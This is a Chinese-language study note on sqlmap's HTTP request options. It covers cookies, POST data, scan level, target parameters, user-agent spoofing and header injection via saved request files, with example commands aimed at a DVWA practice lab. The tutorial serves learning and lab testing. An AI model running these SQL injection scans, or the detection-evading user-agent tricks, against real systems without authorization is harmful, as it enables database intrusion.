Sqlmap学习笔记(二)

一世执手 提交于 2019-12-06 08:56:50

Sqlmap设置Http请求参数

​ --cookie:指定cookie信息,用来代理登陆状态,如果站点目标URL需要登陆之后才能访问,那么在使用sqlmap对目标URL进行扫描时需要将登陆后的cookie一并带过去,不然sqlmap的扫描有可能会被重定向到登陆页面,或者没有访问该接口的权限

​ --method:指定http请求方式,如POST、GET、DELETE、PUT等

​ --data:POST请求所携带的参数,如果指定了这个选项,那么请求方式默认是POST

​ --param-del:GET或POST参数默认分隔符,默认是&,如果设置成“,”,那么GET参数格式为

?id=1;name=张三

​ POST请求方式需要通过配合--data选项来设置

--data="id=1;name=张三"

​ --level: 测试的安全等级(1-5, 默认1),值越大,扫描深度越大

​ -p:要测试的参数

​ 如要扫描的url为:

http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#

可以只扫描id参数,通过-p指定,多个字段用逗号分隔

sqlmap -u "http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rpdbjcqpqmn0gin5uvsospbpvr; security=low" --dbs -p id

自定义User-Agent

  1. sqlmap的默认user-agent是:

    sqlmap/1.0-dev-xxxxxxx..

    默认的user-agent容易被服务器识别,通过--user-agent可以设置

    sqlmap -u "http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"
  2. 也可以通过随机生成user-agent来访问目标url,通过设置--random-agent打开

    sqlmap -u "http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#" --random-agent

    设置--random-agent之后,每次请求都将会从sqlmap安装目录的data/txt/user-agents.txt中随机选取一条user-agent来完成请求

Sqlmap通过Http请求头各项参数注入

GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: test.dvwa.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://test.dvwa.com/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,cy;q=0.6,la;q=0.5
Cookie: PHPSESSID=rpdbjcqpqmn0gin5uvsospbpvr; security=low
  1. 对cookie进行注入。保存http请求头信息到文件,通过sqlmap -r 文件名来完成对HTTP请求头信息的注入,如果需要对Cookie进行注入,则需要将level设置成2或以上

    sqlmap -r 文件 --level=2
  2. Sqlmap通过User-Agent进行注入。如果sqlmap需要对User-Agent进行注入,需要将level设置成3或以上

    sqlmap -r 文件 --level=3
  3. Sqlmap通过HOST注入。需要将level设置成5,5是最高扫描深度,会对所有HTTP头请求参数进行扫描,如Cookie、User-Agent、Referer..等

    sqlmap -r 文件 --level=5
  4. Sqlmap对Referer进行注入,需要将level设置成3或以上

    sqlmap -r 文件 --level=3

为HTTP请求设置额外的头信息

  1. 通过设置--headers指定额外的头信息或修改已有的头信息,以下命令修改User-Agent为”dagger“,并添加了一个“New Header”头参数,“\n”作为多个HTTP头参数的分隔符

    sqlmap -r 文件 --headers="User-Agent: dagger\nNew Header: New Header Value"
  2. -H和--header指定单个HTTP头参数,--headers可以一次指定多个HTTP头参数

  3. 也可以通过设置sqlmap.conf配置文件下的[Request]配置完成对HTTP请求头参数的修改

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!